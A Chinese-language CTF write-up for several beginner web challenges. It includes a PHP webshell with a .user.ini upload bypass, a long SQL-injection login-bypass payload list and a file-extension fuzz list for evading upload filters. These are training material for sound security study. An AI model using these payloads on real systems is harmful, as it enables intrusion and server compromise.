攻防世界Cookie，disabled_button，weak_auth，simple_php，baby_web，inget，easyupload 题目WP

Cookie

进来之后看到主页面

 这里涉及到cookie是类似于一种用户凭证之类的东西，尝试着抓包看一下

cookie指向了一个cookie.php文件，进行访问

disabled_button

进行f12查看按钮属性

删除点击即可

weak_auth

进行密码爆破账号固定为admin

 

 密码为123456

simple_php

get方式传入一个a和b，然后判断a是否为0成立就输出一半flag(弱类型比较)，使用函数is_numeric判断b中是否存在数字或数组，存在则退出，然后判断b是否大于1234大于则输出剩下一半

/?a=0asd&b=12345a

弱类型==中 1234 和1234a进行比较结果为true或者111a和111也为true

baby_web

根据提示页面看到说初始页面是哪个，基本上是index.php了访问之后发现立即跳转到了1.php也买你，抓包进行仔细观察

 flag被隐藏，查看hex编码

inget

好家伙bypass绕过先输入?id=1尝试 ，不想进行手工判断，使用万能密码进行fuzz

成功了不少，万能密码放在文末 

easyupload

 

是一个文件上传，先上传一个png文件成功，然后判断是否为黑名单上传一个txt文件也成功了，目测应该是黑名单判断

尝试上传php5 Phtml 等

 

进行文件上传后缀名FUZZ发现可以上传成功.htaccess，先去判断一波对方中间件 

目标为nginx中间件尝试使用.user.ini文件进行利用

可以上传，这里有个坑他对文件的Content-Type也进行了判断需要使用图片类型格式进行绕过

user.ini内容为 GIF89a
auto_prepend_file=a.png指向a.png文件当php使用

在上传a.png的时候发现会对文件内容进行检测是否有php这里可以尝试无php写马

GIF89a

 <?=eval($_GET['cmd']);?>

或者

<? system("tac /flag"); ?>

下面是万能密码

"or “a”="a
“or 1=1–
“or”=”
“or”="a'='a
“or1=1–
“or=or”
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1–
1'or'1'='1
a'or' 1=1–
a'or'1=1–
or 'a'='a'
or 1=1–
or1=1-- asp aspx "or “a”="a
'.).or.('.a.'='.a
or 1=1–
'or 1=1–
a'or' 1=1–
"or 1=1–
'or.'a.'='a
“or”="a'='a
'or''='
or'='or' jsp 1'or'1'='1
admin' or 1=1/*
"or "a"="a
'.).or.('.a.'='.a 
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
admin'/*
aaaa*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
"or "a"="a
 ')or('a'='a
or 1=1¨C
'or 1=1¨C
a'or' 1=1¨C
"or 1=1¨C
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
1 or '1'='1¡ä or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
'or 1=1/*
something
'OR '1'='1
1'or'1'='
admin' OR 1=1/*
' or 1=1#
'=0#
'>-1#
'<1#
1'<99#
'=0=1#
'<=>0#
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#
'|0#
'&0#
'^0#
'<<0#
'>>0#
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#
'*9#
'/9#
'%9#
'+0#
'-0#
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#
'=upper     (0)#
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#
'='
'<>'1
'>1='
0'='0
'<1 and 1>'
'<>ifnull(1,2)='1
'=round(0,1)='1
'*0*'
'+'
'-'
'+1-1-'
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#
' or 1=1#
' or '
' || '

下面是文件后缀名FUZZ

.jpg
.png
.gif
.php
.phtml
.PHP
.Php
.pHp
.phP
.php2
.php3
.php4
.php5
.php6
.php7
.pphphphpp
.htaccess
.php 
.php::$DATA
.php.
.php. .
.php%00.jpg